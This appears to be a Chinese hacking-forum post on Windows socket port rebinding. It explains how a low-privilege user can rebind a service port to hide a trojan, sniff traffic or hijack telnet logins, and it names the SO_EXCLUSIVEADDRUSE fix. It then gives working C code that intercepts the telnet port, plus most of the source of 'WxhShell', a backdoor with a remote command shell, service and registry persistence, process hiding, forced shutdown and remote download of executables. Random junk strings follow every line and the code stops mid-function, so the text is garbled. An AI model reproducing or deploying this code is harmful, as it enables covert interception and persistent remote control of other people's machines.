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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =lS@nRH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RX\@fmK&  
tq5o  
  saddr.sin_family = AF_INET; Xe\,:~  
0p!N'7N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dV+GWJNNE  
o@:u:n+.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uCGn9]  
g<N3 L [  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {m 5R=22^  
> V%3w7  
  这意味着什么?意味着可以进行如下的攻击: KPs @v@5M  
j:'!P<#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \|Ya*8V  
O<6!?1|KP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9Q*zf@w  
3|.KEJC"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K2t|d[r  
[LHfH3[gU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wvg>SfV,e  
bL18G(5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o$bD?Zn  
R3} Z"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aFwfF^\(|,  
K6z-brvw "  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HH,G3~EBF  
Se&%Dr3Nv  
  #include &1,qC,:!  
  #include WJ(E3bb  
  #include ?3Dsz  
  #include    v0S7 ]?_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j8#B  
  int main() XW9 [VUW~  
  { @awN*mO  
  WORD wVersionRequested; OPwO`pN  
  DWORD ret; ^LJ?GJ$g  
  WSADATA wsaData; L~xzfO  
  BOOL val; -YP>mwSN?  
  SOCKADDR_IN saddr; 'Z(4Wuwb  
  SOCKADDR_IN scaddr;  <IL$8a  
  int err; 7U{g'<  
  SOCKET s; >QM$ NIf@  
  SOCKET sc; ij~023$DTt  
  int caddsize; 2d Px s:8&  
  HANDLE mt; -QUvd1S40  
  DWORD tid;   YKs^aQm#  
  wVersionRequested = MAKEWORD( 2, 2 ); S vR? nN|  
  err = WSAStartup( wVersionRequested, &wsaData ); "Hw%@  
  if ( err != 0 ) { {,rVA(I@  
  printf("error!WSAStartup failed!\n"); /R44x\nhr  
  return -1; ;l6tZ]-"  
  } 1p9+c~4l:  
  saddr.sin_family = AF_INET; |);-{=.OdQ  
   bbO1`b-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B?tO&$s  
(j;6}@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E64d6z^7u  
  saddr.sin_port = htons(23); kGSB6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |%~sU,Y\(  
  { mME a*9P  
  printf("error!socket failed!\n"); ?5L.]Isa5  
  return -1; 8L7ZWw d  
  } cCH2=v4hU  
  val = TRUE; ;eRYgC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 va/$dD9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `?ijKZ}y5  
  { g np\z/'>  
  printf("error!setsockopt failed!\n"); Mo2b"A;}|  
  return -1; H]7;O M/g  
  } *.DTcV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p}'uCT ga  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P]G`Y>#$r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B)M& FO  
Vuqm{bo^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eY1$s mh t  
  { V3u[{^^f  
  ret=GetLastError(); $3Ct@}=n  
  printf("error!bind failed!\n"); i>C:C>~  
  return -1; zU'\r~c  
  } $(6 .K-D  
  listen(s,2); THM\-abz  
  while(1) t zhkdG  
  { 0/."R ;  
  caddsize = sizeof(scaddr); mb\}F9  
  //接受连接请求 ,/;mK_6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R;_U BQ)  
  if(sc!=INVALID_SOCKET) YolO-5  
  { 0pS|t/h0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q1Si*?2W  
  if(mt==NULL) ~_TmS9  
  { =x4:jas  
  printf("Thread Creat Failed!\n"); jy] hP?QG  
  break; i~dW)7  
  } ,f4mFL0~N  
  } yuvt<kz  
  CloseHandle(mt); Ab <4F 7  
  } [y73 xF   
  closesocket(s); *@q+A1P7@  
  WSACleanup(); nL+*-R!R  
  return 0; y#AwuC K  
  }   rdsm /^,s  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,R1`/aRy  
  { {g2cm'hD  
  SOCKET ss = (SOCKET)lpParam; HV`{YuP  
  SOCKET sc; 3:i4DBp,i  
  unsigned char buf[4096]; 4-4lh TE(  
  SOCKADDR_IN saddr; 0}YR=  
  long num; U n#7@8,  
  DWORD val; v2dCkn /  
  DWORD ret; l[O!_bH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k[l+~5ix  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b'^OW  
  saddr.sin_family = AF_INET; FX"%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z1FO.[FV  
  saddr.sin_port = htons(23); ~(tZW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8u$Kr q  
  { :z%vNKy1  
  printf("error!socket failed!\n"); 22\Buk}?  
  return -1; _F^k>Lq&d  
  } Ru Q\H0pr  
  val = 100; z0Vd(QL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aTs5^Kh')  
  { ~4[2{M.0>@  
  ret = GetLastError(); cve(pkl  
  return -1; J p.Sow  
  } GA{>=Q _~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v#.FK:u}  
  {  O+1 e  
  ret = GetLastError(); D>,]EE-  
  return -1; ^>uzMR!q5  
  } `LnLd;Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }$V]00 X  
  { %5*gsgeI  
  printf("error!socket connect failed!\n"); j-ugsV`2=*  
  closesocket(sc); FyYQ4ov0&o  
  closesocket(ss); x{u_kepv[k  
  return -1; !o*BRR*  
  } GEwgwenv  
  while(1) n<Z;Xh~F  
  { 5oplV(<?*S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h[3N/yP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +&tY&dQQB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /`0*!sN*5  
  num = recv(ss,buf,4096,0); ;C-5R U V  
  if(num>0) 3=) /-l  
  send(sc,buf,num,0); ?]f+)tCMs  
  else if(num==0) 5Ga>qIM  
  break; q|om^:n.  
  num = recv(sc,buf,4096,0); 88h-.\%Z  
  if(num>0) AynWs5|z=  
  send(ss,buf,num,0); &6,GX7]Fo  
  else if(num==0) bOux8OHt*  
  break; @y->4`N  
  } ! 2"zz/N{  
  closesocket(ss); JGf6*D"O  
  closesocket(sc); d6<,R;)  
  return 0 ; P$2J`b[H$  
  } N2;T\xx,  
4XQv  
P /wc9Yt  
========================================================== 0F`@/C1y55  
'Y6{89y  
下边附上一个代码,,WXhSHELL b`E0tZcJ  
KwWqsuju  
========================================================== z]Z>+|  
q NU\XO`H  
#include "stdafx.h" dnNC = siY  
{8Hrb^8!  
#include <stdio.h> > zh%CF$  
#include <string.h> :^3MN  
#include <windows.h> w48T?  
#include <winsock2.h> 2#@S6zc  
#include <winsvc.h>  nq8mzI  
#include <urlmon.h> ;38DBo  
f`p`c*  
#pragma comment (lib, "Ws2_32.lib") /`D]m?  
#pragma comment (lib, "urlmon.lib") )#T(2A  
KI-E=<zt  
#define MAX_USER   100 // 最大客户端连接数 2y#4rl1Utx  
#define BUF_SOCK   200 // sock buffer waQNX7Xdn  
#define KEY_BUFF   255 // 输入 buffer aT(Pf7 O  
+kH*BhSj  
#define REBOOT     0   // 重启 <N=p_m 2T  
#define SHUTDOWN   1   // 关机 ep3_G\m  
+=|Q'V  
#define DEF_PORT   5000 // 监听端口 `9s5 *;Z  
hBz~FB];&  
#define REG_LEN     16   // 注册表键长度 _,NL;66=[  
#define SVC_LEN     80   // NT服务名长度 @;fdf3ian  
:bW}*0b-  
// 从dll定义API !a ~>;+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qeBfE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eq "a)QB3m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %@G<B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w%VHq z$  
n+rAbn5o$  
// wxhshell配置信息 4bhm1Q  
struct WSCFG { hBLJKSv  
  int ws_port;         // 监听端口 t\CVL?e`  
  char ws_passstr[REG_LEN]; // 口令 my[)/'  
  int ws_autoins;       // 安装标记, 1=yes 0=no Up*p*(d3  
  char ws_regname[REG_LEN]; // 注册表键名 I^[R]Js  
  char ws_svcname[REG_LEN]; // 服务名 7cr+a4T33  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "\vEi &C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w1rB"rB?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c|:H/Y2n|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X"y rA;,o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >72j,0=e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;q6: *H/  
K:V_,[gO  
}; e8a_)TU?  
:upi2S_e  
// default Wxhshell configuration 1V+a;-?  
struct WSCFG wscfg={DEF_PORT, Ol~sCr  
    "xuhuanlingzhe", f&js,NU"  
    1, Ua,Lg.z  
    "Wxhshell", H-nk\ K<|  
    "Wxhshell", )T(xQ2&r4  
            "WxhShell Service", pTST\0?  
    "Wrsky Windows CmdShell Service", YCj"^RC^  
    "Please Input Your Password: ", GW ?.b_6*  
  1, d@b"tb}R  
  "http://www.wrsky.com/wxhshell.exe", UVUbxFq:  
  "Wxhshell.exe" >E#| H6gx  
    }; {K09U^JU  
E O52 E|  
// 消息定义模块 "k)( ,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F8Rd#^9PD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `D>PU@s$nT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \"V7O'S)&  
char *msg_ws_ext="\n\rExit."; $`i$/FE  
char *msg_ws_end="\n\rQuit."; (VO) Q  
char *msg_ws_boot="\n\rReboot..."; fS>W-  
char *msg_ws_poff="\n\rShutdown..."; %Fa/82:- "  
char *msg_ws_down="\n\rSave to "; Lf3Ri/@ p  
XK`>#*"V  
char *msg_ws_err="\n\rErr!"; {<\nl#}5S  
char *msg_ws_ok="\n\rOK!"; 9Y&n$svB  
=IkQ;L&  
char ExeFile[MAX_PATH]; Kg VLXI6  
int nUser = 0; d8C?m*3 J  
HANDLE handles[MAX_USER]; c;xL.  
int OsIsNt; 2ELw}9  
2L[/.|  
SERVICE_STATUS       serviceStatus; hvtg_w6K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `ihlKFX  
eZ[CqUJ&  
// 函数声明 U-QK   
int Install(void); 6;dQ#wmg  
int Uninstall(void); qx18A  
int DownloadFile(char *sURL, SOCKET wsh); U?[a@Hj{  
int Boot(int flag); 7 }4T)k(a  
void HideProc(void); pD9*WKEf*  
int GetOsVer(void); c+f~>AaI  
int Wxhshell(SOCKET wsl); JX7_/P  
void TalkWithClient(void *cs); <*V%!pwIG  
int CmdShell(SOCKET sock); 'VS!<  
int StartFromService(void); Pz,kSxe=  
int StartWxhshell(LPSTR lpCmdLine); IiHl"2+/  
o|>2X[T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EFW'D=&h8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2oXsPrtZ  
gGxgU$`#c  
// 数据结构和表定义 M n`gd#  
SERVICE_TABLE_ENTRY DispatchTable[] = !>TVDN>  
{ >2x[ub%$L  
{wscfg.ws_svcname, NTServiceMain}, \zR@FOl`q  
{NULL, NULL} BKPXXR  
}; {VE\}zKF  
ZN~:^,PO/  
// 自我安装 g>12!2}  
int Install(void) 3 q^3znt  
{ |>5NH'agV  
  char svExeFile[MAX_PATH]; &p8b4y_  
  HKEY key; Rb Jl;  
  strcpy(svExeFile,ExeFile); |a%&7-;   
dZFf /BXU  
// 如果是win9x系统,修改注册表设为自启动 {f((x1{HZx  
if(!OsIsNt) { #K.OJJaG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fW~r%u .y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *IG} /O.VT  
  RegCloseKey(key); U$Z)v1&{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8)\Td tBf9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1//d68*"  
  RegCloseKey(key); +)k%jIi!  
  return 0; 0-M.>fwZ=  
    } %JeT,{  
  } 5tdFd"oo  
} J.W0F #?  
else { PN:/lIO  
xa5^h]o   
// 如果是NT以上系统,安装为系统服务 (S$ziV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9gVu:o 1/  
if (schSCManager!=0) Jte:U*2  
{ Jz(wXp  
  SC_HANDLE schService = CreateService BF{v0Z0/}k  
  ( ^&F8NEb=2>  
  schSCManager, F`IV9qv  
  wscfg.ws_svcname, mlW0ptp  
  wscfg.ws_svcdisp, U2 m86@E  
  SERVICE_ALL_ACCESS, A:Pp;9wl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;)].Dj9  
  SERVICE_AUTO_START, }iZO0C  
  SERVICE_ERROR_NORMAL, .Y|5i^i9{  
  svExeFile, .`*h2  
  NULL, C ioM!D  
  NULL, 04g=bJ  
  NULL, gg $/  
  NULL, YaU)66=u  
  NULL ncZ5r0  
  ); V_+XZ+7Lx}  
  if (schService!=0) 8WU_d`DF  
  { Hj\>&vMf  
  CloseServiceHandle(schService); WX<),u2@  
  CloseServiceHandle(schSCManager); qM%l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;%wQnhg  
  strcat(svExeFile,wscfg.ws_svcname); 3H"bivK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { whFaL}2C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s[6y|{&ze  
  RegCloseKey(key); 1 ? be  
  return 0; 0*$?=E  
    } W C z+  
  } K@d,8[  
  CloseServiceHandle(schSCManager); rUgTJx&ds  
} 4 :m/w!q$  
} $}_a`~u  
fP 4  
return 1; $;~  
} yvN;|R  
VaKBS/y"  
// 自我卸载 mtfEK3?2*  
int Uninstall(void) 3s25Rps  
{ !| ObNS  
  HKEY key; o+-G@ 16  
2x3%*r$  
if(!OsIsNt) { jiAKV0lX W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i_<Uk8  
  RegDeleteValue(key,wscfg.ws_regname); .zDm{_'  
  RegCloseKey(key); Y9^;TQ+#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? }t[  
  RegDeleteValue(key,wscfg.ws_regname); _}G1/`09#  
  RegCloseKey(key); d^-sxl3}  
  return 0; x ,LQA0  
  } )GgO=J:o  
} [&_c.ti  
} (Qf"|3R4  
else { m~$S]Wf  
UB5X2uBv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wbra*LNU  
if (schSCManager!=0) C{g Y*+  
{ 4\Nt"#U)g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P`ZYm  
  if (schService!=0) #}y(D{zc  
  { @-d0 ~.S  
  if(DeleteService(schService)!=0) {  v7Q=  
  CloseServiceHandle(schService); O\;R (  
  CloseServiceHandle(schSCManager); ;Nfd  
  return 0; v J `'x  
  } 2p6`@8*34  
  CloseServiceHandle(schService); Rq,ST:  
  } &i/QFO7y}  
  CloseServiceHandle(schSCManager); gJkvH[hDY  
} dF (m!P/R  
} Zcq 4?-&  
e 9p+  
return 1; }iu(-{Z  
} Z3jtq-y  
(K"8kQLY  
// 从指定url下载文件 S zqY@  
int DownloadFile(char *sURL, SOCKET wsh) ,sn/FT^; q  
{ +|SvJ  
  HRESULT hr; hp:8e@  
char seps[]= "/"; R3`Rrj Z  
char *token; 0nX.%2p#Je  
char *file; Gb?O-z%8*  
char myURL[MAX_PATH]; JE[+  
char myFILE[MAX_PATH]; 3aK/5)4|B  
BAQ;.N4  
strcpy(myURL,sURL); ;:0gN|+  
  token=strtok(myURL,seps); vWM'}(  
  while(token!=NULL) .*0`}H+_  
  { tWo MUp  
    file=token; `/1Zy}cD  
  token=strtok(NULL,seps); E#cW3\)  
  } dE[_]2];P  
TAXl73j_CY  
GetCurrentDirectory(MAX_PATH,myFILE); -_>g=a@&  
strcat(myFILE, "\\"); y 8./)W&/  
strcat(myFILE, file); t G{?  
  send(wsh,myFILE,strlen(myFILE),0); #h#Bcv0 Z  
send(wsh,"...",3,0); *C0gpEf9S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .x^`y2'U  
  if(hr==S_OK) e>oE{_e  
return 0; INHN=KY{  
else @3 UVl^T  
return 1; +]!`>  
N,><,7!q$,  
} I8 <s4q  
,Cj8{s&;  
// 系统电源模块 bnWKfz5  
int Boot(int flag) 4cO||OsMU  
{ 0M?nXHA[  
  HANDLE hToken; Z_^v#FJ'l  
  TOKEN_PRIVILEGES tkp; Q9~UL^bF  
;-G!jWt6Zi  
  if(OsIsNt) { 7 -(LWH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z~g7O4#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jZ'y_  
    tkp.PrivilegeCount = 1; R.g'&_zx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J{Z-4y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b=#3p  
if(flag==REBOOT) { 6$'6x2,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h=3156M  
  return 0; p,?8s%  
} }}GBCXAf_  
else { ]Mh7;&<6[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SZ9xj^"g  
  return 0; \bh3&Z'.  
} h&!k!Su3#  
  } c-INVA)  
  else { ,x+_/kqx  
if(flag==REBOOT) { `TkI yGr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cVZCBcKC?  
  return 0; ]`D(/l'  
} NVnKgGlHgd  
else { F:/R'0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J3sO%4sYR  
  return 0; t[6g9e$  
} + R)x5  
} lQ%]](a6  
tUmI#.v   
return 1; HrA6wn\O  
} Xu1l6jr_  
u.gh04{5  
// win9x进程隐藏模块 *JG?^G"l  
void HideProc(void) 6e@ O88=  
{ blZiz2F  
(n-8p6x(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IbpE@C  
  if ( hKernel != NULL ) N(?yOB4gt  
  { %iI0JF*E z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LnJ/t(KV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DA oOs}D  
    FreeLibrary(hKernel); :):=KowI  
  } ,q#^ _/?  
]xfAdBi  
return; s,^?|Eo;0  
} F9e$2J)C  
W%09.bF  
// 获取操作系统版本 ]lF'o&v]  
int GetOsVer(void) jlER_I]  
{ :^SpKe(7  
  OSVERSIONINFO winfo; ->}K-n ),  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qEE3 x>&T]  
  GetVersionEx(&winfo); b?oT|@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q[]!V0Ek10  
  return 1; $JTy`g0>x  
  else n@BE*I<"  
  return 0; +1p>:cih  
} 0D>~uNcT}  
}H{{@RU  
// 客户端句柄模块 1vu4}%nD  
int Wxhshell(SOCKET wsl) h*hV  
{ yXNE2K  
  SOCKET wsh; gFJ& t^yL  
  struct sockaddr_in client; -e%=Mpq.  
  DWORD myID; fHf+!  
t4?g_$>   
  while(nUser<MAX_USER) lN+NhPF  
{ i^uC4S~  
  int nSize=sizeof(client);  zUqiz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )dLESk  
  if(wsh==INVALID_SOCKET) return 1; wC BL1[~C  
UTUIL D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }se)=7d8 Z  
if(handles[nUser]==0) dv%gmUUf}k  
  closesocket(wsh); ~GfcI:Zz&  
else <uL?7P  
  nUser++; `q eL$`  
  } W.\HfJ74  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i#1T68y}  
P58U8MEG  
  return 0; rK~362|mo  
} K 3&MR=#^  
 b6S86>  
// 关闭 socket %kJ:{J+w]  
void CloseIt(SOCKET wsh) j&fr4t3  
{ |1 is!leP  
closesocket(wsh); -baGr;,Cu  
nUser--; ,-c(D-&  
ExitThread(0); OP2!lEs  
} 5]; 8  
;k7` `  
// 客户端请求句柄 ]Vl5v5_  
void TalkWithClient(void *cs) Ats"iV  
{ {<~XwJ.  
z.Y7u3K.8  
  SOCKET wsh=(SOCKET)cs; HcHfwLin0  
  char pwd[SVC_LEN]; %8$JL=c  
  char cmd[KEY_BUFF]; 2{p`"xX  
char chr[1]; p/lMv\`5  
int i,j; GQ|kcY=  
-5v c0"?E  
  while (nUser < MAX_USER) { z}C#+VhQ`  
35RH|ci&  
if(wscfg.ws_passstr) { NfR,m ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8+gx?pb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'xStA  
  //ZeroMemory(pwd,KEY_BUFF); 7!oqn'#>A  
      i=0; =oT@h 9VI  
  while(i<SVC_LEN) { ]vQo^nOo  
PBn(k>=+  
  // 设置超时 (fh:q2E#  
  fd_set FdRead; NFLmM  
  struct timeval TimeOut; UUb!2sO  
  FD_ZERO(&FdRead); S;ulJ*qv  
  FD_SET(wsh,&FdRead); #A]7cMZ'W  
  TimeOut.tv_sec=8; b daZ{5^{  
  TimeOut.tv_usec=0; |,dMF2ADc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tt J,rM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G:WMocyXI'  
8ZG'?A+{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #4na>G|  
  pwd=chr[0];  TWx<)  
  if(chr[0]==0xd || chr[0]==0xa) { YXI DqTA+  
  pwd=0; ;S`Nq%,  
  break; CM5A-R90  
  } A$XjzTR  
  i++; nQ$N(2<Fe  
    } U%k e 5uwP  
`Q(ac| 0  
  // 如果是非法用户,关闭 socket Q^MB%L;D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `t!iknOQ$  
} aGpRdF1;!  
zo} SS[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vg \-^$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a _  
i+&= "Z@  
while(1) { ~d5"<`<^o  
_\]D<\St  
  ZeroMemory(cmd,KEY_BUFF); z(\H.P#  
3sp*.dk  
      // 自动支持客户端 telnet标准   {f^30Fw  
  j=0; )7j"OE  
  while(j<KEY_BUFF) { E 3I'3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n;Iey[7_E`  
  cmd[j]=chr[0]; /WHhwMc!  
  if(chr[0]==0xa || chr[0]==0xd) { p Hg8(ru|  
  cmd[j]=0; lh#GD"^(w&  
  break; wkJB5i^<w  
  } GV[%P  
  j++; _L$)~},cT  
    } Z:/S@ry  
mu{%%b7|^  
  // 下载文件 e/Q[%y.X  
  if(strstr(cmd,"http://")) { 5\4>H6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <q[ *kr  
  if(DownloadFile(cmd,wsh)) 'E&K%/d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)_XO92~  
  else l?FNYvL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [qZ4+xF,,  
  } HqF8:z?v  
  else { }?fa+FQGp  
~36c0 =  
    switch(cmd[0]) { *(>$4$9n  
  ]oya<C6pR  
  // 帮助 @nc!(P7_  
  case '?': { w x,;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1|. 0]~0  
    break; r?X^*o9  
  } /Hx0=I  
  // 安装 w`7l ;7[  
  case 'i': { c=b\9!hr_E  
    if(Install()) ^_=0.:QaW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &9ZIf#R  
    else H~G=0_S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqX%V":2  
    break;  aZ0H)  
    } \!^o<$s.G  
  // 卸载 Aj`4uFhiL  
  case 'r': { ffB]4  
    if(Uninstall()) xK y<o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A&M/W'$s  
    else >u/yp[Ky  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (w^&NU'e  
    break; V3+%KkN  
    } '~2v/[<`}  
  // 显示 wxhshell 所在路径 |1<Z3\+_/  
  case 'p': { * ;M?R?+  
    char svExeFile[MAX_PATH]; )xK!i.  
    strcpy(svExeFile,"\n\r"); b,`\"'1  
      strcat(svExeFile,ExeFile); nWl0R=  
        send(wsh,svExeFile,strlen(svExeFile),0); $U0(%lIU  
    break; MnS"M[y3  
    } (,TO|  
  // 重启 f7W=x6Z4  
  case 'b': { Z*QRdB%,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N-Z 9  
    if(Boot(REBOOT)) p{,fWk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /<2_K4(-{4  
    else { 0iB 1_)~  
    closesocket(wsh); tQ|I$5jNJ  
    ExitThread(0); Y~:7l5C  
    } 6\Z^L1973  
    break; [T^6Kzz  
    } W&Hf}q s  
  // 关机 zSH#j RDV  
  case 'd': { s6]f#s5o  
